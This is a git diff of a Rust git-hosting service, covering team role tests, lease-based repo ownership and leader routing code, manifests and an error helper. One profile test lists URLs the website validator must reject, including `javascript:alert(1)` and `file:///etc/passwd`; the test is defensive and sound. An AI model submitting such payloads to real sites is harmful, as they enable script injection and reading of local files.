(StatusCode::NOT_FOUND, "that link is no longer valid").into_response(), + Err(e) => db_err("redeem sign-in link", &id, e), + } +} + +#[cfg(test)] +mod role_tests { + use super::{rank, Role}; + use crate::directory::{Directory, Member, Team}; + use mongodb::bson::DateTime; + + fn team(members: &[(&str, Role)]) -> Team { + Team { + slug: "t".into(), + name: "T".into(), + created_by: "a@x".into(), + created_at: DateTime::now(), + members: members + .iter() + .map(|(u, r)| Member { user: (*u).into(), role: *r, joined_at: DateTime::now() }) + .collect(), + ..Default::default() + } + } + + /// The whole role model, as a table. If this drifts from the comment at the top of the + /// module, one of them is wrong — and this one is the one that runs. + #[test] + fn who_may_grant_what() { + use super::may_grant; + for r in [Role::Member, Role::Admin, Role::Owner] { + assert!(!may_grant(Role::Member, r), "a member grants nothing"); + } + assert!(may_grant(Role::Admin, Role::Member)); + assert!(may_grant(Role::Admin, Role::Admin)); + assert!(!may_grant(Role::Admin, Role::Owner), "only an owner makes an owner"); + for r in [Role::Member, Role::Admin, Role::Owner] { + assert!(may_grant(Role::Owner, r), "an owner grants anything"); + } + } + + /// Every authorization decision above is `rank(role) < rank(min)`. If the order ever + /// drifts, an admin outranks an owner and the danger zone opens to the wrong people. + #[test] + fn owner_outranks_admin_outranks_member() { + assert!(rank(Role::Owner) > rank(Role::Admin)); + assert!(rank(Role::Admin) > rank(Role::Member)); + } + + /// Emails arrive in whatever case the identity provider and the browser chose; the + /// membership row was lowercased at write. A case-sensitive lookup here would lock a real + /// owner out of their own team on the basis of a capital letter. + #[test] + fn role_lookup_ignores_email_case() { + let t = team(&[("Owner@Example.com", Role::Owner), ("m@example.com", Role::Member)]); + assert_eq!(Directory::role_of(&t, "owner@example.com"), Some(Role::Owner)); + assert_eq!(Directory::role_of(&t, "M@EXAMPLE.COM"), Some(Role::Member)); + assert_eq!(Directory::role_of(&t, "nobody@example.com"), None); + } +} + +#[cfg(test)] +mod profile_tests { + use super::*; + + #[test] + fn a_profile_names_only_public_repos_and_only_live_pins() { + let repos = vec![ + crate::repos::RepoOut { id: "acme/web".into(), owner: "acme".into(), name: "web".into(), public: true, description: String::new(), created_by: String::new(), created_at: 0 }, + crate::repos::RepoOut { id: "acme/secret".into(), owner: "acme".into(), name: "secret".into(), public: false, description: String::new(), created_by: String::new(), created_at: 0 }, + ]; + let pins = vec!["secret".to_string(), "web".to_string(), "gone".to_string()]; + let (repos, pins) = public_face(repos, pins); + assert_eq!(repos.iter().map(|r| r.name.as_str()).collect::>(), ["web"]); + assert_eq!(pins, vec!["web".to_string()], "a private or deleted pin is not shown"); + } + + /// The rejects are what `update_team` turns into a 400; the accepts are stored verbatim. + #[test] + fn website_is_http_or_https_or_nothing() { + for ok in ["", "https://example.com", "http://example.com/a?b=c#d"] { + assert!(check_website(ok).is_ok(), "{ok:?} should be accepted"); + } + for bad in [ + "javascript:alert(1)", + "data:text/html,hi", + "vbscript:x", + "file:///etc/passwd", + "example.com", + "https://", + "https://ex ample.com", + "https://example.com\n", + ] { + assert!(check_website(bad).is_err(), "{bad:?} should be refused"); + } + assert!(check_website(&format!("https://{}", "a".repeat(2048))).is_err()); + } +} diff --git a/crates/app/Cargo.toml b/crates/app/Cargo.toml new file mode 100644 index 00000000..51402d26 --- /dev/null +++ b/crates/app/Cargo.toml @@ -0,0 +1,24 @@ +[package] +name = "rustic-git-app" +version = "0.1.0" +edition = "2021" +license = "SSPL-1.0" + +[lib] +name = "rustic_git_app" + +[dependencies] +tracing = { workspace = true } +metrics = { workspace = true } +rustic-git-core = { path = "../core" } +rustic-git-storage = { path = "../storage" } +rustic-git-pulls = { path = "../pulls" } +tokio = { workspace = true } +futures = { workspace = true } +rand = { workspace = true } +serde_json = { workspace = true } +reqwest = { workspace = true } + +[dev-dependencies] +slatedb = { workspace = true } +tempfile = { workspace = true } diff --git a/crates/app/src/lib.rs b/crates/app/src/lib.rs new file mode 100644 index 00000000..d0714bd7 --- /dev/null +++ b/crates/app/src/lib.rs @@ -0,0 +1,681 @@ +use rustic_git_core::jwt; +use rustic_git_core::peer as proxy; +use rustic_git_storage::{ownership, pool, store}; +use rustic_git_pulls::pulls; + +use ownership::{Entry, Grant, OwnershipStore, Route}; +use rustic_git_core::{err, Result}; +use std::sync::Arc; + +/// Resolves a node name (`rustic-git-1`) to the address of its peer HTTP listener. In production +/// that is `{name}.{svc}:{port}` — the StatefulSet's own identity, no lookup. It is a function +/// rather than a template so tests can put a fleet on loopback ports. +pub type AddrOf = Arc String + Send + Sync>; + +/// How patiently to wait for the leader. Chosen by the caller, because the same wire request can +/// deserve very different patience: a cold claim waits out a leader restart, a recovery ask after +/// a failed forward must not. +#[derive(Clone, Copy)] +pub enum Patience { + /// A cold claim: wait out a leader restart rather than fail the client's request. + Claim, + /// A forward to the owner just failed: two quick tries, then a fast 502 the client retries. + Recover, + Release, + None, +} + +pub struct App { + pub store: Arc, + pub ownership: Arc, + /// This pod's own name, e.g. `rustic-git-2`. + pub self_name: String, + /// Who writes the ownership map. Derived from `self_name` by default (ordinal zero of this + /// StatefulSet), overridden by `with_topology` when the leader runs in its own StatefulSet + /// and no amount of string surgery on a server's name can name it. + pub leader_name: String, + /// The StatefulSet prefix that serving pods share, e.g. `rustic-git`. Equal to the leader's + /// prefix unless the leader has been split out. + pub server_prefix: String, + pub addr_of: AddrOf, + pub forwarder: Arc, + /// How many pods the StatefulSet runs. The leader needs it to know who it may hand a repo to; + /// nothing else reads it. + pub replicas: u32, + /// When this node last asked the leader about a repo because a forward to its owner failed. + /// A forward that fails is answered by asking the leader, and during a blip that touches many + /// forwards at once every one of them would otherwise ask — a burst on pod zero at the moment + /// it is least able to take one. One ask per repo per second is plenty: the answer does not + /// change faster than that, and a request that arrives inside the window gets a plain 502 to + /// retry, by which time the first ask has moved the map. + // ponytail: unbounded map; entries are one u64 per repo ever recovered, and a repo count + // that makes this matter is a bigger problem elsewhere first. + pub recovery_asked: std::sync::Mutex>, + /// Milliseconds added to this node's wall clock. Zero in production; a test advances it to + /// age a lease entry or a recovery window without sleeping through it. Per node, not + /// process-wide: the routing tests run many nodes in one process, and skewing them all + /// would expire another test's drain lease under it. + skew_ms: std::sync::atomic::AtomicU64, + /// `now_ms()` of the last reply the leader gave this node, on any `/own/*` message. Zero until + /// the first one. `/healthz` reads it: a node that has not heard from the leader inside one + /// `LEASE_TTL` cannot claim, and whatever it holds may already be granted elsewhere — that is + /// not a node to route traffic to, and the object-store ping alone could not tell. + leader_seen_ms: std::sync::atomic::AtomicU64, + /// Mints and verifies registry bearer tokens (`/v2/token`). Keyed from + /// `RUSTIC_GIT_JWT_SECRET` when set; otherwise a random per-process secret, which means + /// tokens die with the process — fine for a dev run, and in a fleet it shows up as + /// "log in again", never as a forged token being accepted. + pub jwt: Arc, + /// Serializes the leader's four read-modify-write paths on the ownership map (grant_claim, + /// grant_renew, grant_release, prune_once). Without it, two concurrent claims can both read + /// `None` for the same repo and both write — granting one repo to two nodes, which fences the + /// loser's live database. One process, one lock: cheap and total. + pub leader_lock: tokio::sync::Mutex<()>, + /// Mongo, for the ONE thing an owning node still needs it for: copying a repo's pre-existing + /// pull requests into its own database on first touch (`pulls::ensure_migrated`). Resolved + /// state, not an `Option`: "not configured" is safe to migrate as empty, "configured but + /// unreachable" must not be, and a pair of fields could hold the nonsensical combination. + pub dir: pulls::Source, +} + +/// How long after asking the leader about a repo this node will not ask again for the same repo. +pub const RECOVERY_ASK_EVERY: std::time::Duration = std::time::Duration::from_secs(1); + +/// Pacing between repos in the visibility repair lane, mirroring the gc sweep's per-owner gap: +/// the lane is a backstop, not a deadline, so it yields object-store bandwidth to real requests. +pub const RECONCILE_GAP: std::time::Duration = std::time::Duration::from_millis(200); + + +/// Eviction gives the lease back before the database closes. `Pool` calls this; it holds a `Weak` +/// so this reference back into `App` is not a cycle. +impl pool::ReleaseHook for App { + fn release(&self, repo: String) -> futures::future::BoxFuture<'_, ()> { + // The pool has already marked the entry releasing, so a failure here is not fatal: the + // lease simply lapses on its own TTL instead of the drain. Log and close anyway. + Box::pin(async move { + if let Err(e) = App::release(self, &repo).await { + tracing::warn!(repo = %repo, error = %e, "releasing the lease failed; it will lapse on its own TTL"); + } + }) + } +} + +/// How long a follower stays ready after the leader last answered it. Longer than one +/// `LEASE_TTL` on purpose: a leader pod roll takes ~35 s, and every srv pod dropping out of +/// the public Service for that whole window would turn a routine deploy into an outage. Six +/// TTLs covers a roll; a leader that is really gone still takes every follower un-ready within +/// a minute, which is what the probe is for. +pub const LEADER_SILENCE: std::time::Duration = std::time::Duration::from_secs(60); + +impl App { + pub fn new( + store: Arc, + ownership: Arc, + self_name: String, + addr_of: AddrOf, + peer_secret: String, + replicas: u32, + ) -> Self { + let jwt_secret = std::env::var("RUSTIC_GIT_JWT_SECRET").unwrap_or_else(|_| { + use rand::Rng; + rand::thread_rng() + .sample_iter(rand::distributions::Alphanumeric) + .take(48) + .map(char::from) + .collect() + }); + // Defaults reproduce the single-StatefulSet layout exactly: leader at ordinal zero of this + // pod's own prefix. `with_topology` replaces them when the leader lives elsewhere. + let leader_name = ownership::leader_of(&self_name).unwrap_or_else(|_| self_name.clone()); + let server_prefix = self_name + .rsplit_once('-') + .map(|(p, _)| p.to_string()) + .unwrap_or_else(|| self_name.clone()); + App { + store, + ownership, + self_name, + leader_name, + server_prefix, + addr_of, + forwarder: Arc::new(proxy::Forwarder::new(peer_secret)), + replicas, + recovery_asked: Default::default(), + skew_ms: std::sync::atomic::AtomicU64::new(0), + leader_seen_ms: std::sync::atomic::AtomicU64::new(0), + jwt: Arc::new(jwt::Jwt::new(&jwt_secret).expect("jwt secret")), + leader_lock: tokio::sync::Mutex::new(()), + dir: pulls::Source::Absent, + } + } + + /// The directory this node migrates pull requests from. Set once at startup, before the `App` + /// is shared; there is no path that changes it later. + pub fn with_directory(mut self, dir: pulls::Source) -> Self { + self.dir = dir; + self + } + + /// Who owns this repo, from this node's own copy of the map. No network: a follower's + /// read-only handle answers, however stale it is — a stale read costs a hop, never an owner. + pub async fn owner(&self, repo: &str) -> Result> { + self.ownership.get(repo).await + } + + fn leader(&self) -> &str { + &self.leader_name + } + + /// Point this node at a leader that is not ordinal zero of its own StatefulSet. + /// + /// Naming the leader explicitly is the whole cost of splitting it out: every other node has to + /// agree on who the single writer is, and two nodes disagreeing is precisely the split brain + /// that fences a live database. Derivation cannot cross a StatefulSet boundary, so it becomes + /// configuration — and both values must be identical on every pod. + pub fn with_topology(mut self, leader: String, server_prefix: String) -> Self { + self.leader_name = leader; + self.server_prefix = server_prefix; + self + } + + /// Leadership is a name, not a decision — there is nothing here that two nodes could answer + /// differently, which is the whole point of the design. + pub fn is_leader(&self) -> bool { + self.leader() == self.self_name + } + + /// Where this request belongs. + /// + /// Read the map; if it names someone and the lease is live, that is the answer. Otherwise ask + /// the leader — and if the leader cannot be reached, answer `Unavailable`. **Never serve on a + /// failed claim**: falling back to "well, serve it here" is failover to whoever asked first, + /// which is the two-writer bug this design exists to remove. + pub async fn route(&self, repo: &str) -> Route { + let now = self.now_ms(); + let entry = match self.owner(repo).await { + Ok(c) => c, + // The map is unreadable from here. We know nothing, so we may not serve. + Err(e) => { + tracing::error!(repo = %repo, error = %e, "ownership read failed; refusing to serve"); + return Route::Unavailable; + } + }; + let live = entry.clone().filter(|e| !ownership::is_expired(e, now)); + let node = match live { + Some(e) => e.node, + None => { + // An unhealthy node must not claim: it would take a lease on a repo it cannot + // serve, and hold it for the whole TTL. + if !self.store.healthy() { + return Route::Unavailable; + } + // Nor may a node on its way out. SIGTERM releases every lease and closes the pool, + // and a request arriving in the drain window that follows sees its own released + // entry as absent — so it would claim the repo straight back. The leader has no way + // to know the asker is seconds from exiting and may well grant it: then `pool.get` + // fails with "pool is closed", and every other node forwards here for a full + // LEASE_TTL. One dead end becomes a ten second one. + if self.store.pool.is_closed() { + return Route::Unavailable; + } + // A repo the map does not name is CLAIMED before anyone opens it, whether or not + // its object-store prefix has anything in it yet. Routing on "does the prefix + // exist" was a two-writer window: the first write to a new repo, image or + // volume opened it here unleased, and until its manifest landed every other node + // saw the same empty prefix and opened it too. A request for a name that really + // does not exist still 404s in the handler (`open_repo` checks the prefix before + // it opens anything); the claim it left behind lapses on the lease TTL, unrenewed, + // because a repo never opened is never warm. + // ponytail: one leader write per invented name per LEASE_TTL, pre-auth. Ceiling is + // the leader's claim rate under a spray of distinct bad names; a per-node token + // bucket on claims for empty-prefix names is the upgrade if that ever shows. + match self.claim(repo).await { + Ok(Grant::Granted(e)) | Ok(Grant::HeldBy(e)) => e.node, + Err(e) => { + tracing::warn!(repo = %repo, error = %e, "claiming from the leader failed"); + // The leader is unreachable. If the (expired) entry names US and we still + // hold the database open, keep serving it. A grant only ever comes from + // the leader, so an unreachable leader means nobody else can have been + // granted this repo either — and we are still holding it, so continuing + // cannot produce a second writer. During a roll pod zero updates last, + // which ages out every entry; refusing here would 503 warm repos + // fleet-wide for the length of the restart, and buy nothing. A cold repo, + // or one named to someone else, is still Unavailable. + if entry.is_some_and(|e| e.node == self.self_name) + && self.store.pool.warm_repos().iter().any(|r| r == repo) + { + self.self_name.clone() + } else { + return Route::Unavailable; + } + } + } + } + }; + if node == self.self_name { + // An unhealthy node still forwards what it does not own (safe, and keeps its share of + // load-balancer traffic flowing) but never serves what it does. The same holds for a + // node on its way out: its pool is closed, so serving would fail at `pool.get` anyway — + // and answering Unavailable here lets the client retry somewhere useful instead. + if self.store.healthy() && !self.store.pool.is_closed() { + Route::Local + } else { + Route::Unavailable + } + } else { + Route::Peer(ownership::Peer { + addr: (self.addr_of)(&node), + name: node, + }) + } + } + + /// This node's view of wall-clock time, in ms since the epoch. Every lease decision this + /// node makes reads the clock through here so a test can move it. + pub fn now_ms(&self) -> u64 { + ownership::now_ms() + self.skew_ms.load(std::sync::atomic::Ordering::Relaxed) + } + + /// Test hook: move this node's clock forward. Never called in production. + pub fn advance_clock(&self, d: std::time::Duration) { + self.skew_ms + .fetch_add(d.as_millis() as u64, std::sync::atomic::Ordering::Relaxed); + } + + /// The leader answered just now. Called on every successful `/own/*` round trip, so the renew + /// beat (`RENEW_EVERY`, well inside `LEASE_TTL`) keeps this fresh on an idle node too. + pub fn mark_leader_seen(&self) { + self.leader_seen_ms.store(self.now_ms(), std::sync::atomic::Ordering::Relaxed); + } + + /// Whether the leader has answered this node within the last `LEADER_SILENCE`. The leader is + /// always reachable to itself. A cached read: `/healthz` calls this on every probe. + pub fn leader_reachable(&self) -> bool { + self.is_leader() + || self.now_ms().saturating_sub(self.leader_seen_ms.load(std::sync::atomic::Ordering::Relaxed)) + < LEADER_SILENCE.as_millis() as u64 + } + + /// Whether this node may ask the leader about `repo` on a failed forward right now, recording + /// the ask if so. See `recovery_asked`. + pub fn may_ask_to_recover(&self, repo: &str) -> bool { + let now = self.now_ms(); + let mut m = self.recovery_asked.lock().unwrap(); + match m.get(repo) { + Some(t) if now.saturating_sub(*t) < RECOVERY_ASK_EVERY.as_millis() as u64 => false, + _ => { + m.insert(repo.to_string(), now); + true + } + } + } + + /// Ask for this repo. On the leader that is a local decision and a write; anywhere else it is + /// one POST to the leader's peer port. + pub async fn claim(&self, repo: &str) -> Result { + self.claim_inner(repo, false, Patience::Claim).await + } + + /// The ordinary claim, on the short retry budget: for a forward to the owner that just failed. + /// Same decision at the leader; only how long this node is willing to wait for it differs. + pub async fn claim_to_recover(&self, repo: &str) -> Result { + // Same admission as a forced claim: a node that is unhealthy or on its way out must not be + // granted a repo it will then fail to open. (It would self-heal through the release on a + // failed open, but that costs the client a request for nothing.) + if !self.store.healthy() || self.store.pool.is_closed() { + return Err(err("this node may not take a repo over right now")); + } + self.claim_inner(repo, false, Patience::Recover).await + } + + /// Ask the leader to take this repo off a holder we could not reach. Only `http.rs`'s recovery + /// path calls this, and only after a re-route has already been tried and failed. + /// + /// The same health guards as the claim path in `route()`. Unlike it, a repo with an empty + /// prefix is refused here: a FORCED claim evicts a named holder, and a holder whose repo has + /// nothing in the store yet is a creator mid-write — the one moment a takeover is guaranteed + /// to fence a live database for nothing. Its lease lapses on the TTL and the ordinary claim + /// path takes it from there. `exists` erring falls back to asking, as it does in `route()`. + pub async fn force_claim(&self, repo: &str) -> Result { + if !self.store.healthy() || self.store.pool.is_closed() { + return Err(err("this node may not take a repo over right now")); + } + if let Some((o, n)) = repo.split_once('/') { + if !self.store.pool.exists(o, n).await.unwrap_or(true) { + return Err(err(format!("{repo}: no such repository"))); + } + } + self.claim_inner(repo, true, Patience::Recover).await + } + + async fn claim_inner(&self, repo: &str, force: bool, patience: Patience) -> Result { + if self.is_leader() { + return self.grant_claim(repo, &self.self_name.clone(), force).await; + } + let body = if force { + format!("{repo}\n{}\nforce", self.self_name) + } else { + format!("{repo}\n{}", self.self_name) + }; + let reply = self.ask_leader_with("claim", body, patience).await?; + let mut lines = reply.lines(); + let (verb, node, expires) = ( + lines.next().unwrap_or_default(), + lines.next().unwrap_or_default().to_string(), + lines.next().unwrap_or_default(), + ); + let e = Entry { + node, + expires_ms: expires + .parse() + .map_err(|_| err(format!("claim reply: bad expiry {expires:?}")))?, + }; + match verb { + "granted" => Ok(Grant::Granted(e)), + "heldby" => Ok(Grant::HeldBy(e)), + other => Err(err(format!("claim reply: unknown verb {other:?}"))), + } + } + + /// Renew everything this node holds, in one message. Returns the repos whose lease was NOT + /// renewed — the caller must close those databases at once (the lifecycle invariant). + pub async fn renew_all(&self, repos: &[String]) -> Result> { + // No short-circuit on an empty list: the beat is also how an idle node proves it can + // reach the leader (`leader_reachable`), and a node holding nothing is exactly the freshly + // rolled one whose readiness the probe is trying to establish. + if self.is_leader() { + return self.grant_renew(&self.self_name.clone(), repos).await; + } + let mut body = self.self_name.clone(); + for r in repos { + body.push('\n'); + body.push_str(r); + } + let reply = self.ask_leader("renew", body).await?; + Ok(reply + .lines() + .filter(|l| !l.is_empty()) + .map(String::from) + .collect()) + } + + /// One renewal beat: renew every repo this node holds open, and close at once any the leader + /// declines. A declined renewal means the map no longer names us — the lease is gone, so the + /// handle must go with it (the lifecycle invariant), before a fence makes the point for us. + pub async fn renew_once(&self) -> Result<()> { + let lost = self.renew_all(&self.store.pool.warm_repos()).await?; + for repo in lost { + tracing::info!(repo = %repo, "lost the lease: closing it"); + if let Some((o, n)) = repo.split_once('/') { + self.store.pool.evict(o, n).await; + } + } + Ok(()) + } + + /// How long a claimed merge may sit before it is assumed abandoned and may be taken again. + /// Generous: a merge on a large tree is real work in a worker, and re-running one that is + /// still in flight is worse than waiting. + pub const MERGE_LEASE: std::time::Duration = std::time::Duration::from_secs(10 * 60); + + /// Leader only: drop entries whose lease lapsed without a release — the node holding them died + /// or was partitioned away. Keeps the map bounded by what is actually open. + pub async fn prune_once(&self) -> Result<()> { + let _g = self.leader_lock.lock().await; + let now = self.now_ms(); + let all = self.ownership.all().await?; + // The leader is the only writer, so its sweep is the one honest count of the map. + metrics::gauge!("ownership_map_size").set(all.len() as f64); + for (repo, e) in all { + if ownership::is_expired(&e, now) { + self.ownership.delete(&repo).await?; + } + } + Ok(()) + } + + /// Give a repo up: the entry is deleted, and the repo is immediately claimable by anyone. The + /// caller must already have CLOSED the database — see `Pool::retire`, which drains, closes, + /// and only then calls this. Releasing while the handle is still open is what lets a successor + /// fence a database this node is still writing through. + pub async fn release(&self, repo: &str) -> Result<()> { + if self.is_leader() { + return self.grant_release(repo, &self.self_name.clone()).await; + } + self.ask_leader("release", format!("{repo}\n{}", self.self_name)) + .await + .map(|_| ()) + } + + /// Tell the leader this node is on its way out — or, at startup, that it is not. + /// + /// Announced by the node itself: it is the only one that knows it has been asked to stop. The + /// leader uses it to avoid handing repos to a pod that is leaving, which it would otherwise do + /// preferentially, since a node that has released everything looks like the least loaded one. + pub async fn announce_draining(&self, draining: bool) -> Result<()> { + let flag = if draining { "1" } else { "0" }; + if self.is_leader() { + return self.ownership.set_draining(&self.self_name, draining).await; + } + self.ask_leader("draining", format!("{}\n{flag}", self.self_name)) + .await + .map(|_| ()) + } + + async fn ask_leader(&self, what: &str, body: String) -> Result { + self.ask_leader_with(what, body, Self::default_patience(what)).await + } + + fn default_patience(what: &str) -> Patience { + match what { + "claim" => Patience::Claim, + "release" | "draining" => Patience::Release, + _ => Patience::None, + } + } + + async fn ask_leader_with(&self, what: &str, body: String, patience: Patience) -> Result { + let leader = self.leader(); + let addr = (self.addr_of)(leader); + // A claim waits out a leader restart instead of failing the client's request. Measured on a + // rolling restart, the leader is unreachable for about 35s — its preStop delay, its + // shutdown, its start, and the DNS cache behind it — and every request needing a claim in + // that window failed. Waiting turns those into slow requests, which for a git client is the + // difference between a retry and an error. + // + // Only claims wait. Renewals and releases run on their own clocks and would pile up on top + // of each other; they are advisory, and a lease that misses a beat lapses on its TTL. + // A release that does not land is expensive in a way a missed renewal is not: the entry + // stays live for the whole LEASE_TTL, and every other node forwards into a node that has + // already gone — which is exactly the 502 burst a roll produces. Retry it, bounded so the + // whole thing still fits inside the shutdown's release budget. A renewal that misses a beat + // simply waits for the next one. + // A recovery ask — a forward to the owner just failed — must NOT inherit the claim budget. + // Owner and leader both unreachable is exactly a rolling restart, and thirty seconds of + // waiting there is worse than the immediate 502 this path replaced: the client had a + // working owner a moment ago and can simply retry. Two quick tries cover a leader that is + // merely between requests; anything longer, give up fast. + let attempts = match patience { + Patience::Claim => proxy::CLAIM_ATTEMPTS, + Patience::Recover => proxy::RECOVER_ATTEMPTS, + Patience::Release => proxy::RELEASE_ATTEMPTS, + Patience::None => 1, + }; + let mut last = err("the leader was unreachable"); + for attempt in 0..attempts { + if attempt > 0 { + let backoff = match patience { + Patience::Claim => proxy::CLAIM_BACKOFF, + Patience::Recover => proxy::RECOVER_BACKOFF, + _ => proxy::RELEASE_BACKOFF, + }; + tokio::time::sleep(backoff).await; + } + let res = self + .forwarder + .client + .post(format!("http://{addr}/own/{what}")) + .header(proxy::PEER_HEADER, &self.forwarder.secret) + .timeout(proxy::LEADER_TIMEOUT) + .body(body.clone()) + .send() + .await; + match res { + Ok(r) if r.status().is_success() => { + self.mark_leader_seen(); + return Ok(r.text().await?); + } + // An answer, not a transport failure: retrying cannot change it, and 421 in + // particular means this node's idea of who leads has gone stale. + Ok(r) => return Err(err(format!("own/{what}: leader answered {}", r.status()))), + Err(e) => last = e.into(), + } + } + Err(last) + } + + // ---- The leader's side of the three messages. Only ever reached on pod zero. ---- + + pub async fn grant_claim(&self, repo: &str, asker: &str, force: bool) -> Result { + // Serialize every leader read-modify-write: concurrent claims/renews/prunes on the same + // repo could otherwise both read a stale map and both write, granting one repo to two + // nodes — which fences the loser's live database. One process, one lock: cheap and total. + // This makes the compare-and-set below genuinely atomic, not just advertised as one. + let _g = self.leader_lock.lock().await; + let now = self.now_ms(); + // Pod zero stores the lease; it does not hold repositories. When it is the one asking, it + // hands the repo to the least loaded server instead of taking it, so a leader restart never + // orphans a repo. Any other asker is granted what it asked for. + let asker = if asker == self.leader() { + let servers = ownership::servers(asker, &self.server_prefix, self.replicas); + let draining = self.ownership.draining().await.unwrap_or_default(); + match ownership::least_loaded(&servers, &self.ownership.all().await?, &draining, now) { + Some(n) => n, + None => return Err(err("no server available to hold this repo".to_string())), + } + } else { + asker.to_string() + }; + let asker = asker.as_str(); + // Either way this is a genuinely serialized leader-mediated compare-and-set: only pod zero + // writes the map, and `leader_lock` above means a force-claim is one node's decision made + // atomically in one place, never a local override or a race with a concurrent asker. + let cur = self.ownership.get(repo).await?; + let g = if force { + ownership::decide_force_claim(cur.as_ref(), asker, now) + } else { + ownership::decide_claim(cur.as_ref(), asker, now) + }; + if let Grant::Granted(e) = &g { + // A grant over a live entry naming another node is a MOVE (a roll, a drain, a + // force-claim), which is the event worth graphing against 421s and fences. + let result = match &cur { + Some(c) if c.node != e.node => "moved", + _ => "granted", + }; + metrics::counter!("ownership_claims_total", "result" => result).increment(1); + self.ownership.put(repo, e).await?; + } else { + metrics::counter!("ownership_claims_total", "result" => "heldby").increment(1); + } + Ok(g) + } + + pub async fn grant_renew(&self, asker: &str, repos: &[String]) -> Result> { + let mut lost = Vec::new(); + for repo in repos { + // The lock is taken PER REPO, not once around the whole beat: a node with many warm + // repos renews all of them in one message, and holding the process-wide leader lock + // across N serialized get/put round trips put every `grant_claim` — which is on a cold + // repo's request path — behind all of them. Each entry's compare-and-set is still + // atomic, because it is exactly this repo's get and put that must not interleave; a + // renewal reads and writes one key and no invariant spans two of them. + let _g = self.leader_lock.lock().await; + let now = self.now_ms(); + match ownership::decide_renew(self.ownership.get(repo).await?.as_ref(), asker, now) { + Some(e) => self.ownership.put(repo, &e).await?, + None => lost.push(repo.clone()), + } + } + Ok(lost) + } + + pub async fn grant_release(&self, repo: &str, asker: &str) -> Result<()> { + let _g = self.leader_lock.lock().await; + if ownership::may_release(self.ownership.get(repo).await?.as_ref(), asker) { + self.ownership.delete(repo).await?; + } + Ok(()) + } + + /// What to do when a request for `repo` hit a fence: re-run routing. `true` means this node + /// still owns the repo (a stray admin process fenced us, or a peer has since released it) and + /// the caller should reopen and retry the operation ONCE, in-handler — the HTTP handlers hold + /// the body as `Bytes`, so a retry costs nothing. `false` means the fence was correct: answer + /// 503. git does NOT retry a 503 by itself; the user re-runs. + pub async fn on_fenced(&self, owner: &str, name: &str) -> bool { + // THE invariant violation (CLAUDE.md): another node opened this database under us. Every + // path (HTTP, SSH, peer) lands here, so this is the one count that means "it happened". + metrics::counter!("db_fence_detected_total").increment(1); + if !matches!(self.route(&format!("{owner}/{name}")).await, Route::Local) { + return false; + } + // Pool::get never reopens a fenced handle by itself (that is the amplifier this exists to + // remove). Routing says we still own it, so evict here — the retry's Pool::get then opens + // fresh and takes the writer epoch back. Without this the retry gets a second FencedError. + self.store.pool.evict(owner, name).await; + true + } + + /// `open_repo`, retried once when the first attempt hits a fence that routing says this node + /// may still own (see `on_fenced`). The one place that rule lives, so HTTP, SSH and the peer + /// stream cannot drift: SSH did not retry at all, and a stray fence made it fail until some + /// HTTP request happened to evict the handle. A fence this node must honour comes back as the + /// original error for the caller to report. + pub async fn open_repo_after_fence(&self, owner: &str, name: &str) -> Result> { + match self.store.open_repo(owner, name).await { + Err(e) if pool::is_fenced(&e) && self.on_fenced(owner, name).await => { + self.store.open_repo(owner, name).await + } + r => r, + } + } +} + +#[cfg(test)] +mod tests { + use super::*; + use slatedb::object_store::memory::InMemory; + use slatedb::object_store::ObjectStore; + + async fn test_app(name: &str) -> App { + let os: Arc = Arc::new(InMemory::new()); + let tmp = tempfile::tempdir().unwrap(); + let store = + Arc::new(store::Store::open(os.clone(), tmp.path().join("cache"), false).await.unwrap()); + // Leaked so the App can outlive this helper's tempdir binding without the test wiring a + // Node like tests/routing.rs does. + std::mem::forget(tmp); + let ownership = OwnershipStore::open(os, true).await.unwrap(); + App::new(store, Arc::new(ownership), name.into(), Arc::new(|_: &str| "127.0.0.1:1".into()), "test-secret".into(), 1) + } + + /// What `/healthz` proves on a follower: a fresh node is NOT ready until the leader has + /// answered it once, stays ready for `LEADER_SILENCE` after the last answer, and goes + /// un-ready past it. The leader is always ready to itself. + #[tokio::test] + async fn leader_reachable_follows_the_last_beat() { + let leader = test_app("rustic-git-0").await; + assert!(leader.is_leader() && leader.leader_reachable()); + + let follower = test_app("rustic-git-1").await; + assert!(!follower.is_leader()); + assert!(!follower.leader_reachable(), "no beat yet: a rolled pod must not take traffic"); + follower.mark_leader_seen(); + assert!(follower.leader_reachable()); + follower.advance_clock(LEADER_SILENCE - std::time::Duration::from_millis(1)); + assert!(follower.leader_reachable()); + follower.advance_clock(std::time::Duration::from_millis(1)); + assert!(!follower.leader_reachable(), "a leader roll's worth of silence: un-ready"); + } +} diff --git a/crates/core/Cargo.toml b/crates/core/Cargo.toml new file mode 100644 index 00000000..d327b1ea --- /dev/null +++ b/crates/core/Cargo.toml @@ -0,0 +1,22 @@ +[package] +name = "rustic-git-core" +version = "0.1.0" +edition = "2021" +license = "SSPL-1.0" + +[lib] +name = "rustic_git_core" + +[dependencies] +tracing = { workspace = true } +tracing-subscriber = { workspace = true } +axum = { workspace = true } +reqwest = { workspace = true } +jsonwebtoken = { workspace = true } +serde = { workspace = true } +serde_json = { workspace = true } +base64 = { workspace = true } +tokio = { workspace = true } +rand = { workspace = true } +metrics = { workspace = true } +metrics-exporter-prometheus = { version = "0.18.3", default-features = false } diff --git a/crates/core/src/err.rs b/crates/core/src/err.rs new file mode 100644 index 00000000..2f2bdfe3 --- /dev/null +++ b/crates/core/src/err.rs @@ -0,0 +1,66 @@ +pub type Error = Box; +pub type Result = std::result::Result; + +pub fn err(msg: impl Into) -> Error { + msg.into().into() +} + +/// Fleet mode may not fall back to a per-process JWT secret. +/// +/// `App::new` invents a random secret when `RUSTIC_GIT_JWT_SECRET` is unset. On one node that is +/// harmless — tokens die with the process. Across a fleet each node invents a DIFFERENT one, so a +/// token minted by `srv-0` is a forgery to `srv-1`: registry pulls fail on whichever node the load +/// balancer picks next, intermittently, which is the worst possible way to learn about it. A fleet +/// is exactly what `RUSTIC_GIT_PEER_SVC` marks, so that is the condition. Same shape as the +/// `RUSTIC_GIT_REPLICAS` check in main.rs: refuse to start, and name the variable. +/// +/// Takes its inputs rather than reading the environment so the rule is testable and so both +/// binaries apply the same one. +pub fn require_jwt_secret(peer_svc: &str, jwt_secret: &str) -> Result<()> { + if !peer_svc.is_empty() && jwt_secret.is_empty() { + return Err(err( + "RUSTIC_GIT_JWT_SECRET is required with RUSTIC_GIT_PEER_SVC (without it each node \ + mints tokens the others reject)", + )); + } + Ok(()) +} + +/// Reads the two variables `require_jwt_secret` judges, so a caller cannot get the pair wrong. +pub fn require_jwt_secret_from_env() -> Result<()> { + let var = |k: &str| 